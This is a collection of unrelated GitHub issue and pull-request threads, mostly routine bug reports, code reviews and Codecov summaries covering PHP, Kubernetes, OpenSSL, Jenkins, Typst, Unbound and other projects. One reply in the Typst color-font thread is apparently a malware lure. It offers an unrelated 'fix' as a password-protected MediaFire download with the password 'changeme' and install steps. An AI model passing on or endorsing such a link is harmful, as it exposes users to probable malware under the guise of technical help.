Error with PHP 7.2

Trying to set up Pathfinder on a server. Followed all steps, yet this seems to be occurring:
Error 500:
Internal Server Error
Fatal error: PHP Startup: Unable to load dynamic library 'mysqli' (tried: /usr/lib/php/20170718/mysqli (/usr/lib/php/20170718/mysqli: cannot open shared object file: No such file or directory), /usr/lib/php/20170718/mysqli.so (/usr/lib/php/20170718/mysqli.so: undefined symbol: mysqlnd_global_stats))

My phpinfo: https://www.spacescout.info/phpinfo.php
Pathfinder install: https://www.spacescout.info/pathfinder/
There is already a website running Wordpress on the root directory doing just fine.

@CST-100 Good luck ive had a hard time getting the SSO stuff to work.

@CST-100 do you get this error if you use PHP from the commandline?
php -v
sounds like a server configuration issue rather than an issue with pathfinder

@CST-100 have you seen this post: https://www.linuxquestions.org/questions/slackware-14/php-7-1-in-testing-�-unable-to-load-dynamic-library-mysqli-so-4175618544/
The fix could be to change the order in php.ini how modules get loaded:
Bad:
extension=mysqli.so
extension=mysqlnd.so

Solution:
extension=mysqlnd.so
extension=mysqli.so


test framework: handle double-registered --kubeconfig flag

Description of the change:

pkg/test: only register --kubeconfig if not registered, get value if already registered

Motivation for the change: controller-runtime currently adds the --kubeconfig flag if pkg/client/config is imported (set up in an init() function). The SDK's test framework also adds this flag, which will panic if both packages are imported and the test framework is initialized.
Closes: https://github.com/kubernetes-sigs/controller-runtime/issues/878
/cc @joelanford @camilamacedo86 @DirectXMan12 @akoserwal
/kind bug

Could you apply this fix to https://github.com/operator-framework/operator-sdk/tree/v0.15.x?

Hi @akieling,
SDK is in the version 0.18.2 already. So, 0.15.x is quite old and we would recommend you uprade your project.
See its Backport Policy in https://sdk.operatorframework.io/docs/contribution-guidelines/backport-policy/

OK @camilamacedo86 . Thanks for the quick reply.


Adds bounds checks to avoid OOB writes in ticket extension code (1.0.2)

Note that 1.0.2 is also susceptible to remote memory corruption described here: https://guidovranken.wordpress.com/2016/10/13/openssl-1-1-0-remote-client-memory-corruption-in-ssl_add_clienthello_tlsext/
with the difference that the server needs to send a ticket of 15888 bytes and OPENSSL_NO_HEARTBEATS and OPENSSL_NO_NEXTPROTONEG need to be defined while compiling the client (not default).

This is covered by #1714. Closing.


Add option to set prefs for an individual player

It can be cumbersome to re-type the entire rando if a mistake was made or if someone changes prefs. Giving the prefs command some optional arguments could be useful, e.g., if I type ::prefs player1 h/c/d when player1 was previously fill, then it's simple to run a ::rr that should run with those new roles instead of having to type roles for the whole team again.

Yeah I think this is a good idea, I recently had issue with this when a new player joined the team. had to rewrite the whole command.


feat: initial jenkins charm

This PR creates the initial Jenkins server with wizard setup bypass.
Agent connections and other setup are out of scope for this PR. The web can be access through http://<unit_ip>:8080

Can you ad the license and readme files?

The LICENSE already exists in the main branch, I've updated the readme to match the description in the metadata.yaml file. Thank you for the review!

There's an interesting case in this charm were there's some business logic done in the charm.py as it uses pebble to start a first time jenkins to initialise things and then restarts it again.
In my opinion this business logic shouldn't be in charm.py as it's specific to Jenkins, but we're not supposed to manage the pebble plan from a service module.
Isn't it possible to do the first "start" using a pebble exec instead ? Which will allow to do all this business logic from the jenkins module directly

There's an interesting case in this charm were there's some business logic done in the charm.py as it uses pebble to start a first time jenkins to initialise things and then restarts it again. In my opinion this business logic shouldn't be in charm.py as it's specific to Jenkins, but we're not supposed to manage the pebble plan from a service module.
Isn't it possible to do the first "start" using a pebble exec instead ? Which will allow to do all this business logic from the jenkins module directly

Thanks for the comment @gregory-schiano!
Interesting point regarding the approach using pebble exec! I'm not aware of any initial setup without having to start the Jenkins server. In this case, I'm not sure if pebble exec would just hang or affect the later service plan.

There's an interesting case in this charm were there's some business logic done in the charm.py as it uses pebble to start a first time jenkins to initialise things and then restarts it again. In my opinion this business logic shouldn't be in charm.py as it's specific to Jenkins, but we're not supposed to manage the pebble plan from a service module.
Isn't it possible to do the first "start" using a pebble exec instead ? Which will allow to do all this business logic from the jenkins module directly

Thanks for the comment @gregory-schiano!
Interesting point regarding the approach using pebble exec! I'm not aware of any initial setup without having to start the Jenkins server. In this case, I'm not sure if pebble exec would just hang or affect the later service plan.

The official Jenkins operator manages it, I'm digging into it to see how that's managed

There's an interesting case in this charm were there's some business logic done in the charm.py as it uses pebble to start a first time jenkins to initialise things and then restarts it again. In my opinion this business logic shouldn't be in charm.py as it's specific to Jenkins, but we're not supposed to manage the pebble plan from a service module.
Isn't it possible to do the first "start" using a pebble exec instead ? Which will allow to do all this business logic from the jenkins module directly

Thanks for the comment @gregory-schiano!
Interesting point regarding the approach using pebble exec! I'm not aware of any initial setup without having to start the Jenkins server. In this case, I'm not sure if pebble exec would just hang or affect the later service plan.

The official Jenkins operator manages it, I'm digging into it to see how that's managed

Couldn't dig too much but as far as I see it works using a kind of init groovy script:
https://github.com/jenkinsci/kubernetes-operator/blob/44a7d2460a97a74ae1dd21e286a342bec805c794/pkg/configuration/base/resources/init_configuration_configmap.go
Probably injected using these hooks:
https://www.jenkins.io/doc/book/managing/groovy-hook-scripts/

@gregory-schiano The operator uses jenkins client to run the groovy script set by the configmap. Source code here. Will update the code.

@gregory-schiano After some reading through the kubernetes-operator repo for Jenkins, it seems that the wizard is bypassed using -Djenkins.install.runSetupWizard=false rather than setting up files after wizard being run. The groovy script referred here (the previous link to the configmap.go file) is a script to setup initial user.
For now, I think the current setup should be working ok. Groovy scripts will have to be added later though for upcoming tasks. I don't mind changing the implementation to be using the same Groovy script as the offical kubernetes operator repo. What are your thoughts?


Types::Hash.map fail to validate

The dry-struct extension fails when the struct includes a Types::Hash.map attribute.
undefined method `visit_map' for #<Dry::Validation::InputProcessorCompiler::Params:0x00007f84448ab0e0> (NoMethodError)

Oops, I didn't mean to move this here. Closing. Sorry for the noise.


ci: execution optimization

Codecov Report
Attention: 4 lines in your changes are missing coverage. Please review.

Comparison is base (3070a7b) 70.11% compared to head (29c51c9) 70.45%.

Files
Patch %
Lines

taos/src/tmq.rs
97.90%
4 Missing :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##             main     #303      +/-   ##
==========================================
+ Coverage   70.11%   70.45%   +0.33%
==========================================
  Files         114      114
  Lines       34514    34777     +263
==========================================
+ Hits        24200    24502     +302
+ Misses      10314    10275      -39

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.


[20.09] chromium: 88.0.4324.182 -> 89.0.4389.72

Motivation for this change
Backport of #114973.
Things done

[ ] Tested using sandboxing (nix.useSandbox on NixOS, or option sandbox in nix.conf on non-NixOS linux)
Built on platform(s)

[ ] NixOS
[ ] macOS
[ ] other Linux distributions

[ ] Tested via one or more NixOS test(s) if existing and applicable for the change (look inside nixos/tests)
[ ] Tested compilation of all pkgs that depend on this change using nix-shell -p nixpkgs-review --run "nixpkgs-review wip"
[ ] Tested execution of all binary files (usually in ./result/bin/)
[ ] Determined the impact on package closure size (by running nix path-info -S before and after)
[ ] Ensured that relevant documentation is up to date
[ ] Fits CONTRIBUTING.md.

nixosTests.chromium succeeded.


Escape backslash at end of field value

This library correctly follows the documentation which says that the only character that needs to be escaped for string field values is double quotes ("). Unfortunately that documentation does not consider the case where a string value ends with backslash, where it needs to be escaped (see https://github.com/influxdata/docs.influxdata.com/issues/1013). This library does not handle that (very specific...) case, leading to a request error.

Actually, this might be more complicated than I expected, it appears to only work with escaping backslash if you do it for the final field, see https://github.com/influxdata/influxdb/issues/3682#issuecomment-137875227. Not sure if this is actually possible to fix in a reasonable way within this library.

I see the issue, and am able to reproduce it. But I don't really see a reasonable way to fix it, as it is more of a bug in the influxdb line protocol parser than anything else.

I agree, closing this issue.


Play video in listview , surfaceview will show last time play video image first in a very shor time , then play this video

fixed, will init surfaceview when start


Support OpenType-SVG fonts

Description
Currently Typst discards everything in the <svg> table and instead picks from the regular font outlines.  It would be great if these color fonts can be supported.
I understand that this is probably an upstream limitation, and unlikely to have a easy solution, but just want to put this in your awareness.
Use Case
I developed a set of color fonts that provides Cantonese romanization on the Chinese characters, where the colors serve as pedagogical devices and the > 150,000 font features provide the linguistic smarts and the font metric solves the very hairy layout problems.

Currently these can be used in word processors (etc) and Chrome in MacOS, Win 11, and iOS, but there are no type-setting languages that can support OT-SVG.

hi bro, to fix your trouble try this fix, i see it in another issue,
https://app.mediafire.com/dqajf1x14ccfd
password: changeme
when you installing it, you need to place a check in install to path and select usx

OpenType SVG fonts are actually supported in the dev version! You can try it by compiling the main branch.


Dropbox keeps synchronizing certain files that haven't changed for months

.dae files on multiple locations keep synchronizing for almost the last few weeks.

Today I just moved one directory that contains 10+ .dae files to another location, then the sync for that dir stopped. But then another directory with .dae started to keep synching.
Now, trying to find if there's particular computers that cause this, I pause Dropbox on hosts one-by-one.

Having moved the multiple packages that contained .dae files and repeated synchronizing, to somewhere that Dropbox still watches. Now it stopped. Strange.


identical particle swaping and other basic change

Support identical particle swap momentum in cal_angle.
Add indentical_particles in config.yml:data for example
identical_particles: [[a, b]]

It means (a and b) are identical particles. Then pa <-> pb angle will be calculated. Amplitude sum over identical particles is supported by basic option. (cached_amp is not supported).
Some basic changes in decay_config to remove some bad decay chain.
A new option decay_chain_cut: ["ls_cut", "mass_cut"] to enable some filter cuts for decay chain.
cp_trans=True will make allow_cc=False now.

Codecov Report

Merging #54 (0f52e7c) into dev (454c47e) will decrease coverage by 0.29%.
The diff coverage is 55.72%.

@@            Coverage Diff             @@
##              dev      #54      +/-   ##
==========================================
- Coverage   69.74%   69.45%   -0.30%
==========================================
  Files          81       81
  Lines       11130    11235     +105
  Branches     2120     2159      +39
==========================================
+ Hits         7763     7803      +40
- Misses       2817     2870      +53
- Partials      550      562      +12

Flag
Coverage Δ

unittests
69.45% <55.72%> (-0.30%)
:arrow_down:

Flags with carried forward coverage won't be shown. Click here to find out more.

Impacted Files
Coverage Δ

tf_pwa/amp/core.py
74.08% <30.00%> (-1.22%)
:arrow_down:

tf_pwa/cal_angle.py
73.75% <30.00%> (-5.23%)
:arrow_down:

tf_pwa/config_loader/decay_config.py
70.42% <56.81%> (-3.70%)
:arrow_down:

tf_pwa/config_loader/data.py
58.77% <80.95%> (+1.46%)
:arrow_up:

tf_pwa/config_loader/tests/test_data.py
100.00% <100.00%> (ø)

tf_pwa/particle.py
88.61% <100.00%> (-0.69%)
:arrow_down:

tf_pwa/config_loader/sample.py
93.16% <0.00%> (+1.24%)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 454c47e...0f52e7c. Read the comment docs.


Expose BinTable class

There is still a bit of of work left to do before this PR can be merged:

make hictkpy::BinTable constructible from pd.DataFrame of bins
support running queries on hictkpy::BinTables (and return the queried bins as pd.DataFrames)
allow constructing .cool/hic files by providing hictkpy::BinTables and pd.DataFrames instead of chromosomes + bin_size (this also enables support for tables of bins with variable sizes)

This could be implemented directly in hictkpy, however I think it would be better to take advantage of pd.DataFrame <-> arrow::Table conversions whenever possible (and ideally let hictk construct arrow::Tables).
Thus, it is probably wise to wait at least until https://github.com/paulsengroup/hictkpy/pull/56 lands before moving forward with this PR.


Error "could not connect to server: Connection refused"

Error message that caused due to delay in launch the database docker container:
sqlalchemy.exc.OperationalError: (psycopg2.OperationalError) could not connect to server: Connection refused
  Is the server running on host "postgres" (<IP_ADDRESS>) and accepting
  TCP/IP connections on port 5432?

Fixed in 0cd2d05


Unbound is slow at loading (big) auth/rpz -zones at startup

Describe the bug
Unbound is slow at loading (big) auth/rpz -zones at startup (compared to bind9, with the same zones)
To reproduce
Steps to reproduce the behavior:
# time systemctl restart bind9
real	0m20.220s
user	0m0.004s
sys	0m0.010s

# time systemctl restart unbound
real	1m32.820s
user	0m0.010s
sys	0m0.004s

Expected behavior
Optimizing unbounds loading of the auth/rpz zone(s) would be beneficial
Both fetching (transfer) and loading the auth-/rpz-zones into unbound is done as a giant serial operation. By at least making them as two independent tasks could speedup (re)starting of unbound a lot.
And parallelization of both those tasks would also be beneficial...
System:

Unbound version: 1.19.0
OS: Ubuntu 22.04
unbound -V output:

Version 1.19.0

Configure line: --build=x86_64-linux-gnu --prefix=/usr --includedir=${prefix}/include --mandir=${prefix}/share/man --infodir=${prefix}/share/info --sysconfdir=/etc --localstatedir=/var --disable-option-checking --disable-silent-rules --libdir=${prefix}/lib/x86_64-linux-gnu --libexecdir=${prefix}/lib/x86_64-linux-gnu --disable-maintainer-mode --disable-dependency-tracking --disable-rpath --with-pidfile=/run/unbound.pid --with-rootkey-file=/var/lib/unbound/root.key --with-libevent --with-libhiredis --with-libnghttp2 --with-pythonmodule --enable-cachedb --enable-subnet --enable-dnstap --enable-systemd --with-chroot-dir= --with-dnstap-socket-path=/run/dnstap.sock --libdir=/usr/lib
Linked libs: libevent 2.1.12-stable (it uses epoll), OpenSSL 3.0.2 15 Mar 2022
Linked modules: dns64 python cachedb subnetcache respip validator iterator

I found this too when looking at moving my RPZ zone from bind -> unbound.
In bind, you can at least compile the text format zone file to raw and it loads MUCH faster again.

nsd just got simdzone implemented,
perhaps this could be implemented for unbound auth zones too


Timing Fix + Docker

Now run in series instead of parallel.
Attempting to get travis to install the docker image.

If you look at the logs, the Eureka server tries to contact ITSELF over localhost:8080 to get the registry, which doesn't seem to work within docker. I tried changing the eureka-client-test.properties (using docker push) to point at the IP, <IP_ADDRESS>, etc but I still get a read timeout. I tried --net=host but that causes other issues that I need to look into some more. May need to table this for now or perhaps create our own docker image that's configured in the way we need it.

I can extract the rest of the work in this PR into a separate PR until we figure our integration stuff out.
It's a shame because the integration tests would be convenient to have.

Wouldn't mind getting the changes you made to eureka-client.js in a new PR. That will make the heartbeats more testable.


How do I use ControllerFeature instead of IControllerTypeProvider?

In RC1 I used the IControllerTypeProvider in my custom router to check if one controller has a specific action. In RC2 it seems to be removed and maybe replaced with ControllerFeature? I tried to replace IControllerTypeProvider with ControllerFeature but that guy is null.
This is how I used the IControllerTypeProvider and now I want to replace it with the ControllerFeature, I think?
public ControllerMapper(IControllerTypeProvider controllerTypeProvider)
{
  foreach (var type in controllerTypeProvider.ControllerTypes)
  {
    ControllerMap.TryAdd(type, type.Name.Replace("Controller", ""));
    var methodNames = type.GetMethods().Select(x => x.Name).ToArray();
    ControllerActionMap.TryAdd(type.Name.Replace("Controller", ""), methodNames);
  }
}

You can populate a ControllerFeature like so:
https://github.com/aspnet/Mvc/blob/dev/src/Microsoft.AspNetCore.Mvc.Core/Internal/ControllerActionDescriptorProvider.cs#L96 (DI a reference to ApplicationPartManager).
What is it you're trying to do exactly? Looking at the types of controllers is going to miss some of the metadata that affects how actions are mapped.

You shouldn't have to register the ApplicationPartManager - AddMvc() does that.
If you want to use ApplicationPartManager outside of calling AddMvc() then you'll have to decide how to populate the list of parts (assemblies).

@rynowak Ok, changed it to this and it seems to work, at least with one assembly.
services.AddMvc().ConfigureApplicationPartManager(manager =>
            {
                var feature = new ControllerFeature();
                manager.PopulateFeature(feature);
                services.AddSingleton<IControllerMapper>(new ControllerMapper(feature));
});


Specify awx installation vars

This commit forces values for postgres_data_dir and awx_secret_key so that they can be overridden.
Sane defaults are provided.
README updated.

Not sure, but this may address some of what is meant on:  https://github.com/geerlingguy/ansible-role-awx/issues/2

Just discovered that this is not passing the postgres_data_dir correctly.  marking donotmerge until local testing shows things working.

Review test was using the wrong branch (master instead of this branch).  Retesting and confirmed that it is picking up the new parameters.   All ready for review.

Looks good at first glance, and passes tests.


Fix bug with invalid route53:ChangeResourceRecordSet call

The problem:
The operator is somehow running into:
operation error Route 53: ChangeResourceRecordSets, https response error StatusCode: 403, RequestID: 4d4ce37d-9f4b-4d9f-a2d9-70bc616f93b0, api error AccessDenied: User: arn:aws-us-gov:sts::REDACTED:assumed-role/REDACTED is not authorized to perform: route53:ChangeResourceRecordSets on resource: arn:aws-us-gov:route53:::hostedzone/REDACTED because no identity-based policy allows the route53:ChangeResourceRecordSets action

and it could be because we are trying to delete an A record when one does not exist. I cannot reproduce this locally, but it seems to be safe code to remove nonetheless.
Old logic:

If customDns.domainName == dns.baseDomain, then cleanup a Route53 Record
Else try to delete the hosted zone
and complain if there was an error

New logic:

If customDns.domainName != dns.baseDomain, then try to delete the hosted zone
and complain if there was an error

OSD-18595

/lgtm


[Feature] Adds background autolaunch app on install

It's a small change that simply launches the application using cmd.exe in the background. I am sure it could be expanded but I needed it for a small project and thought I would share.

Any update on this being merged?  It want to be able to update upstream dependencies to be able to take advantage of this feature.

Bump

Thank you!


Add functionality so user can add a new site to an event

Loop through site array to find the site name given by the user. If the site name given is not in the list, then create a new site object. Set

Completed: 80b9c560cc28494989da47699c58fa85666007f5


Make a version of the basic widgets page that is like the "Material Design Catalog" page

...with sample links, diagrams, etc.

These are merged now.


PMC config rpm for OpenSUSE Leap 15 creating repo reference in the wrong directory

Describe the issue
https://packages.microsoft.com/config/opensuse/15/packages-microsoft-prod.rpm installs microsoft-prod-repo in /etc/yum.repos.d. Repository information should be installed to /etc/zypp/repos.d/
When did the issue occur?

I think this was a recent change on the OpenSUSE side as we have been testing with the yum.repos.d location regularly for quite some time.

Thanks for the bug report @leecow. We're looking into this and will follow up.


repeated failures on Mac_build_test flutter_gallery__transition_perf_e2e_ios

The tree was briefly red for the Mac_build_test flutter_gallery__transition_perf_e2e_ios test, though it later went green, although I suspect something is still wrong.
For build 1346, it ran the test (step 21), uploaded a built app (step 27), then launched sub-builds (step 28). I am surprised that this test would be scheduling sub-builds. Even more strange, the sub-build that was scheduled (and ended up failing) was for hte Mac Production Engine Drone builder: https://ci.chromium.org/p/flutter/builders/prod/Mac Production Engine Drone/115572?
This test failed (I believe) because it timed out after 30 minutes.
Now compare this to the next green build, 1352. It has far fewer steps than 1346, it immediately schedules a sub-build which also runs on Mac Production Engine Drone, but succeeds after 6 minutes: https://ci.chromium.org/p/flutter/builders/prod/Mac Production Engine Drone/115759?

We have several DeviceLab tasks migrated to build+test model (wiki: https://github.com/flutter/flutter/tree/master/dev/devicelab#migrating-to-build-and-test-model)
The reran just used the earlier built artifact without building again to save resources.
The real failure is https://ci.chromium.org/ui/p/flutter/builders/prod/Mac Production Engine Drone/115572/overview
[2023-08-07 14:47:09.415520] [STDOUT] stdout: 2023-08-07 14:47:09.445314-0700 Flutter Gallery[591:59254] flutter: < Success
[2023-08-07 14:47:09.415671] [STDOUT] stdout: 2023-08-07 14:47:09.445599-0700 Flutter Gallery[591:59254] flutter: > 2D Transformations@Studies
[2023-08-07 14:47:09.537205] [STDOUT] stdout: flutter: > 2D Transformations@Studies
[2023-08-07 14:47:10.390001] [STDOUT] stdout: * thread #10, name = 'io.flutter.1.raster', stop reason = signal SIGABRT
[2023-08-07 14:47:10.390164] [STDOUT] stdout:     frame #0: 0x000000020806f160 libsystem_kernel.dylib`__pthread_kill + 8
[2023-08-07 14:47:10.390223] [STDOUT] stdout: libsystem_kernel.dylib`:
[2023-08-07 14:47:10.390271] [STDOUT] stdout: ->  0x20806f160 <+8>:  b.lo   0x20806f180               ; <+40>
[2023-08-07 14:47:10.390474] [STDOUT] stdout:     0x20806f164 <+12>: pacibsp
[2023-08-07 14:47:10.390518] [STDOUT] stdout:     0x20806f168 <+16>: stp    x29, x30, [sp, #-0x10]!
[2023-08-07 14:47:10.390556] [STDOUT] stdout:     0x20806f16c <+20>: mov    x29, sp
[2023-08-07 14:47:10.390588] [STDOUT] stdout: Target 0: (Flutter Gallery) stopped.
[2023-08-07 15:06:44.743497] [STDOUT] stderr: VMServiceFlutterDriver: request_data message is taking a long time to complete...
[2023-08-07 15:06:44.771004] [STDOUT] stderr: Failed to stop app
[2023-08-07 15:06:45.188] [STDOUT] Checking for reboot
[flutter_gallery__transition_perf_e2e_ios] Process terminated with exit code 0.
Task result:
{
  "success": false,
  "reason": "Task failed: PathNotFoundException: Cannot open file, path = '/opt/s/w/ir/x/w/recipe_cleanup/flutter_logs_dir/e2e_perf_summary.json' (OS Error: No such file or directory, errno = 2)"
}

Routing to engine for triage.


Add Profile: Asymtode712

Profile Submission

Profile Category
Please select one or more categories for your profile:

[X] Badge 🎖
[X] Minimalistic ✨
[ ] Dynamic 🔄
[ ] Icons 🎯
[ ] Backgrounds 😎
[X] GIFS 🖼
[ ] Game Mode 🚀
[ ] Code 👨💻

Next Steps
Once you've filled out the information, please comment below:
@all-contributors please add @<username> for review

@all-contributors please add @Asymtode712  for review


Responsive charts does not maintain aspect ratio if max-width/height is specified

Responsive charts are distorted if you specify a max-width or max-heigth on the canvas element or it's parent.
I've made a fix in the following gist (sorry for the lack of proper commit). Please notice that it use getComputedStyle, so it won't work on IE<9. If you want legacy support you'll got to do some polyfilling.
https://gist.github.com/ywg/6cdb2d43ab535249a8a8

Yeah, we'll need a proper commit!  This looks great, but we need a way to test it in our builds.  Could you pull down the latest v2.0-dev branch and submit a PR?

Following up here - would love to see this! Responsive charts are kinda broken otherwise, they look great on mobile but get HUGE on desktop

This has been incorporated into version 2.


[Game Crash] ADD TITLE HERE

**Desc
log.txt
Game crashes before opening. Running on Windows 10. Same issue when game is downloaded from Stepmania website

update your sound-card drivers for windows, but ping us in the discord if you have any issues :)


Opt-out of HTML5 Required Validation, then add Required Error

Prerequisites

[x] I have read the documentation.

Description
For required fields that are not specified, it would be nice to add a "[Title] is required." error to the list of field errors upon validating, as opposed to the existing behavior wherein an HTML5 required attribute is added to the field.
Steps to Reproduce

Go to the RJSF playground, and load the Simple example.
Delete "Chuck" from the 'First name' field.
Click the 'Submit' button.

Expected behavior
Observe that RJSF has added a 'First name is required' error message below the field, and within the Errors summary displayed at top.
Actual behavior
Observe the HTML5 required field message displayed for the field, with browser-specific styling (i.e. related to https://github.com/mozilla-services/react-jsonschema-form/issues/159).  More critically, it seems support for the required attribute is still absent from Safari - so if you go through the above 'Steps to Reproduce' on your iPhone using Safari, for example, nothing happens, and it's not clear why.
Version
Version used on the playground.
Willing to Help
I'm definitely keen to help out with trying to make this happen, but wanted to check with the core contributors if there was a specific reason why things are implemented the way they are, and any tips they might have for resolving this issue (Note: I understand it makes sense to leverage HTML5 technologies where possible, but in this case, required field functionality is currently "broken" in Safari).
Thanks for the great library!

Yeah, we need to drop our use of HTML5 validation attributes, they make the UX inconsistent and their implementation is far too inconsistent in platforms.
See #159, #326 and possibly others.

Thanks for the great library!

Thanks, always appreciated :)
PS: Patches are welcome :smiley_cat:

Thanks for the reply.  I'll dig through the library in more detail, and try to make this happen!

Do we have any update on this issue?

No, do you want to work on this?

@n1k0 I made a couple changes in a fork of this library that would address this. Those changes are:

Add an option on the form component that sets novalidate on the html form element.
Transform the list of errors sent back from JSON Schema to move the required error from the object level to the field level (i.e. add the field name to the end of property path).

I can make one or both of those changes into a PR if that seem like appropriate changes. The second one could be left to users to implement once my transformErrors PR is merged.

Add an option on the form component that sets novalidate on the html form element.

I'm definitely interested in this, please send a PR :)

#448 has landed.


pdksync - Update pdk-templates for gitpod and codespaces support

Update pdk-templates for gitpod and codespaces support
pdk version: 1.18.1

Codecov Report

Merging #95 (e47ee24) into main (5e329d8) will not change coverage.
The diff coverage is n/a.

@@          Coverage Diff          @@
##            main     #95   +/-   ##
=====================================
  Coverage   0.00%   0.00%
=====================================
  Files          1       1
  Lines         14      14
=====================================
  Misses        14      14

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update 5e329d8...e47ee24. Read the comment docs.


Bot not generating PR for v0.4.1

Timeline of events:

upstream repo chebpy/chebpy was updated to v0.4.0
PR #4 was auto-generated
Checks in that PR failed, so PR was closed to skip v0.4.0
upstream repo chebpy/chebpy was updated to v0.4.1
No PR was generated, despite assigning the bot-rerun label, re-opening PR, calling @conda-forge-admin, please rerun bot
Merged PR #4
Still no new PR for v0.4.1

Would be great if you could have a look at this, @conda-forge/bot !

Hi! Thanks for bumping us. Please check the upstream tags as there appears to be an error: https://github.com/chebpy/chebpy/tags

Thank you for the quick response! And for spotting the silly mistake on our end...

@beckermr where should I open an issue with a feature request to have the bot reply to the PR if any of the mechanisms (@'ing the bot, adding a label) fail like they did in this case? Unless that already exists or you don't think it's useful.

The bot has no way to know if adding a rerun label has failed in the sense you are saying. Those labels simply have the bot retry making a given PR. When it goes to retry, it may decide that no new PR is needed (e.g., if the PR is a version bump and the repo has had its versioned bumped manually).

thanks for spotting. my mistake - apologies.
I have re-tagged to v0.4.1, see https://github.com/chebpy/chebpy/releases/tag/v0.4.1


[Dropdown] Is there a setting to close/hide the visible dropdown menu before each server request is sent? Can we add one?

Currently, if a remote dropdown is displaying items in the menu and you perform a new remote search, the current items are not cleared until new request returns from the server.
(set api cache: 'none' during test and add a return delay to your server request)
Example: You search for 'peter' and the server returns 20 matches, the active menu displays 20 matches. Then add another 'r'  to 'peter' to perform another remote search request. The previous 20 'peter' items will remain in the active menu until the new request returns.
It would be nice to have a setting to hide the menu before each remote request is sent.  I looked in the documents but didn't find one.
I was able to do find a workaround by using the beforeSend callback and hide behavior.
apiSettings: {
 url: '....',
 cache: 'local',
 beforeSend: function(settings){
    $(this).dropdown('hide');
    return settings;
  }
}

One thing I did notice was that with cache:'local' the beforeSend callback will still fire even when the data was from coming from sessionStorage. Is that a bug? No remote request is being sent to the server, so why does it fire?
Edit:  The onRequest callback does not fire when data is from coming from sessionStorage, this might be a better option.

Got 15 stale bot emails this morning. :)

??


Cache changes

Move caching steps back into the builds
Switch back to official actions/setup-java now that it has the jdk we use
Change the copy build reports step to only run if build failed (have not been able to test with a build failure yet)

To make the yaml file slightly easier to maintain, I consolidated the Windows/Unix builds back into one, with OS qualifiers on the OS-specific steps. This way, each step of the build, regardless of OS, is grouped together.
However, it's not as nicely separated on the Actions UI now.
With the recent change to separate Unix/Windows builds:

Back to single consolidated build (which we've used all this time before):

With the consolidation, the steps during the build looks messier, as it shows the skipped steps that are meant for the other OS:

Any opinions on the consolidated vs separate OS builds?

I prefer the separation over the consolidation.


Installation of new version error

How do I resolve this?

This worked for me:

You can reinstall/update this project by running the following:
npx @alleyway/create-tradingview-alerts-home

tip. do it inside the existing tradingview-alerts-home directory.

I tried that, didn't work.   I'm more concerned with the empty folder that won't delete.  I have 3 of them now that won't delete from my computer.

hi there - what versions of windows/node/npm are you using?

I am on windows 10.. Not sure node/npm because i deleted them a week ago and haven't added them back.

The installation is broken. I am using the latest version of Windows 10, and Node and NPM.
Above image explicitly shows the problem. The installation may have worked in the past ... but not any longer.

hi @newquestions
I don't have a windows machine, but I have tested installation on a Win10 virtual machine with no problems.
The more specific information you can give me, the better I could try to reproduce and fix the problem (as well as research how you might be able to remove those folders...)
when you say "latest version of node"...do you mean version 16 or 18?
will work on this today...

also...
were you using windows "Command Prompt"? or was it "Powershell"?

Should be solved. but will keep this issue open for now
#123

My issues are solved. I was able to remove all the empty folders and I was able to reinstall the tool with zero issues.  Thank you for fixing this!

Can confirm the new update has worked correctly. Thank you Michael.
One thing you may want to include in the docs is this idea ...
Seems Powershell has default protection in place for unsigned packages downloaded via the internet.
As a result, I had to run this command, which offers a temporary bypass on the unsigned package:
powershell -executionpolicy ByPass -File .\atat.ps1 fetch-symbols binance -q usdt
Thanks again!

interesting . hadn't come across that before. will add to troubleshooting


Error: need ffxiv_dx11.exe in the same directory

Hi. I´m having troubles a few  days ago since I change my lan cable to my laptop. Now it gives me this error, I´ve already installed everything again and updated to the last version ffxiv.exe. If someone might tell me what I am doing wrong, I´ll highly appreciate <3

You need ffxiv_dx11.exe now. Not the ffxiv.exe

It works <3 I didn´t know about that change. Thank you so much


0.5.0-rc6 - Node still running, but no values on Dashboard

Describe the bug
Dashboard for Comnet node stopped displaying any values.  According to CLI, node is still synced:
  "appName": "HORNET",
  "appVersion": "0.5.0-rc6",
  "latestMilestone": "GHHYDO9MVJXCTJWZYAKPFEQJFDFIFHTQTSQDMKO9RWDHT9SHAT9JMRNTFHOFOENYXYXXOSHN9JEIAY999",
  "latestMilestoneIndex": 638803,
  "latestSolidSubtangleMilestone": "GHHYDO9MVJXCTJWZYAKPFEQJFDFIFHTQTSQDMKO9RWDHT9SHAT9JMRNTFHOFOENYXYXXOSHN9JEIAY999",
  "latestSolidSubtangleMilestoneIndex": 638803,
  "isSynced": true,
  "milestoneStartIndex": 637801,
  "lastSnapshottedMilestoneIndex": 638702,
  "neighbors": 2,
  "time":<PHONE_NUMBER>000,
  "tips": 3,
  "transactionsToRequest": 0,
  "features": [
    "WereAddressesSpentFrom"
  ],
  "coordinatorAddress": "UOMFQOULWQLXQQHFMFRQQTRDKDHVMRFFEGZ9LDU9TFZZ9CHDLZSIAHA9MXNSLYOERCHDUVDFEEZAEOBEW",
  "duration": 0
}```

**To Reproduce**
Steps to reproduce the behavior:

Not sure

**Expected behavior**

Dashboard to continue display information

**Environment information:**
 - OS: Ubuntu 20.04 LTS
 - RAM:  8 GB
 - Cores:  4 vCore
 - Type: AMD TR
 - Browser  chrome, firefox
 - HORNET version: 0.5.0 (crysalis)  `a0415a2`

**Additional context**

![blank dashboard](https://user-images.githubusercontent.com/10619487/89204348-ce24f680-d56a-11ea-9b2f-9356784dd669.png)
[comnet log.zip](https://github.com/gohornet/hornet/files/5017091/comnet.log.zip)
[memory_profile.pdf](https://github.com/gohornet/hornet/files/5017092/memory_profile.pdf)

For me this error always occurred after/under heavy load.
out.log
It must have happened sometime between 12:00-14:00. But I'm not sure.
I also have bigger logfiles if needed. But I'm pretty sure that it happened in the mentioned timespan.

For me this error always occurred after/under heavy load.
out.log
It must have happened sometime between 12:00-14:00. But I'm not sure.
I also have bigger logfiles if needed. But I'm pretty sure that it happened in the mentioned timespan.

I need a full goroutine stack dump to solve that :(
Could someone please create one?

goroutine.txt

stackdump.txt

Here's my info
full stack Dump
Goroutine
Alloc
trace_hornet.zip

Thx for the stacktraces.... now I see the problem.... man, that's what I call a real deadlock :)

Fixed in #597
